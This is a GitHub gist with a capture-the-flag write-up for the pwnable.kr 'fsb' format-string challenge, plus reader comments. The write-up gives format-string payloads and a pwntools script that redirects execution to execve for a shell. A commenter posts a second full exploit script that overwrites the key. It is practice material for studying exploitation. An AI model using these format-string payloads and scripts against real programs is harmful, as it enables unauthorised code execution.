Skip to content

Instantly share code, notes, and snippets.

@ihciah
Last active November 4, 2021 19:23
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save ihciah/2b164e86fa9dd2f267d7 to your computer and use it in GitHub Desktop.
Save ihciah/2b164e86fa9dd2f267d7 to your computer and use it in GitHub Desktop.
Pwnable.kr fsb writeup

Pwnable.kr fsb writeup

ihciah@gmail.com

There are two ways to solve this problem. One is to pass the validation, and the other is to jump to execve. Since the first one is too time consuming, here I use the second one.

In function main, there is a alloca with random parameter, which will disturb the stack. So if we want to get information about the stack, we must leak it first.

In function fsb, there is a printf bug, and we can use %1$n to write any address. So we can just write an address, and use $ to get a reference, and we can write that address! However, all input is saved at .bss.

So we can consider another way. We can notice that the ebp is point to an old ebp, and we can control it.

First, we will let the old ebp point to function sleep in GOT(0x0804a008).ebp -> ori_ebp -> 0x0 becomes to ebp -> ori_ebp -> sleep_in_GOT.

And then, we try to leak the pointer that ebp point to, and the esp.

Finally, we just write the place that old ebp point to with address of evecve(0x080486ab).

And here is the step:

  1. %134520840c%18$n (%18$ is refer to ebp)

  2. %18$x %14$x (%18$ is ebp, %14$ - 0x50 is esp)

    Let's say the result is a b. And the offset is r = a - b + 0x50

  3. %34475c%r$hn which r is calculated in the last step.

The result:

Wait a sec...
$ cat flag
Have you ever saw an example of utilizing [n] format character?? :(

PS: I found it not so hard to pass the validation since we can write anything, we can write the key! So we can just rewrite it to the value we are going to input.

from pwn import *
shell = ssh("fsb", "pwnable.kr", password="guest", port=2222)
p = shell.run("/home/fsb/fsb")
p.sendline("c")
p.recvuntil("\n")
p.sendline("%134520840c%18$n")
p.recvuntil("\n")
p.send("%18$x %14$x")
addr = p.recvuntil("\n").split(" ")
offset = int(addr[0], 16) - int(addr[1], 16) + 0x50
offset /= 4
p.send("%%34475c%%%d$hn" % offset)
p.interactive()
Copy link

ghost commented Dec 3, 2016

Nice. You can actually accomplish this without computing any offsets. Take a look at where argument 14 points.

@zhl2008
Copy link

zhl2008 commented Jan 20, 2017

You just got too much output ...
There is a better trick to solve this problem:

  1. leak some info to calc the stack address of now and former :

"<%14$x> {%18$x}",

  1. then you can find some address points to &key in the stack, calc its address, then rewrite the 4 low bytes of the key:

"%99c" + "<%" + str(offset_1+1) + "$hhn>\x00",

  1. try to find a reference chain like this : addr_1 => addr_2 => 0x08048a0xx => xx,(my key addr is 0x8048a060) 1st u need to update the 0x08048a0xx to (&key+4), after doing that, u got this chain: addr_1 => addr_2 => (&key +4) => hight 4 bytes of the key . with this payload:

"%" + str(offset_2+1) + "$n\x00", offset_2 for the offset of addr_1

  1. final, use the this payload to update the high 4 byte:

"%" + str(offset_3+1) + "$n\x00", offset_3 for the offset of addr_2

the most hard part of this method is to find proper address of addr_1 & addr_2 to meet the requirement of the chain:
addr_1 => addr_2 => 0x8048a0xx => xxx, addr_1 & addr_2 must be in the stack.

#!/usr/bin/env python


from pwn import *
import sys
import time

if sys.argv[1] == "l":
    p = process(["./fsb",p32(0x804a064)])
else:
    p = process("127.0.0.1",3333)


print p.recv()
payload_1 = flat(

    "<%14$x> {%18$x}",

)

p.send(payload_1+"\n")

tmp = p.recv()
now_stack_addr = int( re.findall("<.*>",tmp)[0][1:-1],16) - 76
base_addr = int( re.findall("{.*}",tmp)[0][1:-1],16) 

addr_chain_1 = base_addr - 376
addr_chain_2 = base_addr - 184

high_addr = base_addr - 68

print "now_stack_addr => " + hex(now_stack_addr)
print "base_addr => " + hex(base_addr)
print "addr_chain_1 => " + hex(addr_chain_1)
print "addr_chain_2 => " + hex(addr_chain_2)
print "high_addr => " + hex(high_addr)


offset_1 = (addr_chain_1 - now_stack_addr)/0x4
print "offset_1 => " + str(offset_1)
offset_2 = (addr_chain_2 - now_stack_addr)/0x4
print "offset_2 => " + str(offset_2)
offset_3 = (high_addr - now_stack_addr)/0x4
print "offset_3 => " + str(offset_3)

payload_2 = flat(
   "%99c" +  "<%" + str(offset_1+1) + "$hhn>\x00",
)

p.send(payload_2+"\n")
print p.recv()

payload_3 = flat(
    "%" + str(offset_2+1) + "$n\x00",
)
p.send(payload_3+"\n")

raw_input("#")
payload_4 = flat(
    "%" + str(offset_3+1) + "$n\x00",
)
p.send(payload_4+"\n")

print p.recv()

p.send("0\n")
print p.recv()

p.interactive()

@0xKira
Copy link

0xKira commented Feb 9, 2017

May I ask where the number 0x50 is from when computing the offset?

@sivaramaaa
Copy link

hey ,
i tried the same thing , but sending this string %134520840c%18$n to server is causing a very long time and it never finish printing

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment